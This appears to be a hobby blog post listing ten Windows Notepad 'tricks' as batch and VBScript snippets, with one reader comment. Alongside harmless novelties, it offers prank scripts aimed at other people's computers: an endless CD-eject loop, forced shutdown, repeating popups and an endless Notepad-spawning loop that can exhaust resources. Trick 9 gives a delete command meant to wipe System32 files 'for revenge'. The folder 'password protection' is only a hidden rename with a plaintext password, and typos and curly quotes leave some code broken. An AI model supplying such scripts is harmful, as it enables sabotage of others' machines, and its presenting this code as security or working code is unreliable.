10 Notepad Trick You should Know | Cool Notepad Tricks

Hello Friend Welcome to my site, here i'm with my new article.I'm here with cool notepad trick that can be useful to you.Notepad is simplest text editors with lot of secret feature.

Here are the cool Tricks of Notepad.


1) Password Protect Folder

Do you know you can password protect a folder in your Windows computer using a notepad? Here’s how to do it- copy and paste the following code in your notepad:

@ECHO OFF
title Folder Private
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p “pass=>”
if NOT %pass%== factplay.tk goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End

After pasting the code you need to replace the password with your chosen password. Save the file as private.bat and with file type as All Files (*.*)


2) Eject CD Drive continuously


You can use this trick to play a prank with your friends. This Notepad trick will eject your computer CD drive continuously. Copy and paste the following code into the notepad:

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

After pasting the code in the notepad, you need to save the file with cdopen.vbs. To stop the script, open task manager and close the process wscript.exe


3) Shut Down With A Message


This is another cool trick you can perform using Notepad. This trick will display a message whenever you shut down your computer. Copy and paste the following code into the notepad.

@echo off
Shutdown.exe -s -t 10
cls
msg * I love shobitpc.tk!

You need to replace the ‘I Love shobitpc.tk!’ with your shutdown message. Save the file in .bat format for example shutdown.bat

4) Matrix Effect


Do you love Matrix series? Remember the green digit that was displayed in the movie. You can create the same effect on your computer.

Open the notepad and paste the following code into the notepad:

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Now save the file as matrix.bat

 5).Constantly Repeat Any Messages


This is one of the Best Notepad tricks that will repeat any of messages on computer screen repeatedly. Just copy the below code and paste in the notepad and save it as “message.bat”.

@ECHO off
:Begin
msg * Hi
msg * How are you?
msg * I am good
msg * What about you!
msg * Bye Bye
GOTO BEGIN

6).Typing Slow


This is a trick which will cause the text to be typed slowly, to try it out, just copy and paste the text below into notepad and save it as a .vbs file.


WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

7).Fake Error Message


Simply open the notepad paste the code and save the file as error.vbs. Now when you will open the saved file you will see an error message.

X=Msgbox(“Put your Message Here”,0+16,”Put Title Here”)
You can replace and put your message here and put your title here with your keywords.

8).Open Notepad Continuously


This is the perfect prank to annoy someone. You just need to copy and paste the code inside the notepad and save it with any name with .bat extension.

@Echo Off
:Top
Start %Systemroot%\System32\Notepad.EXE
Goto Top

9).Deleting System32 Files Using Notepad


Do you wish to take revenge from someone?  If yes then this notepad code is for you. Copy and paste the code in notepad and save it with .bat extension. It will delete all the System32 files required for the system to work in order.


Del C:\Windows\System2\*.*/Q

10).Converting Text to Speech Using Notepad.


Just copy and paste the code down below into notepad and save as a .vbs file.  When you open it, you’ll get a dialog box asking what you want the computer to say.

Dim message, sapi
message=InputBox(“What do you want me to say?”,”Speak to Me”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak message

1 comment:

  1. oh!! my god this trick are so awesome , my friend got afraid of fake alert message and he reboot the PC hahaha.

    ReplyDelete

Powered by Blogger.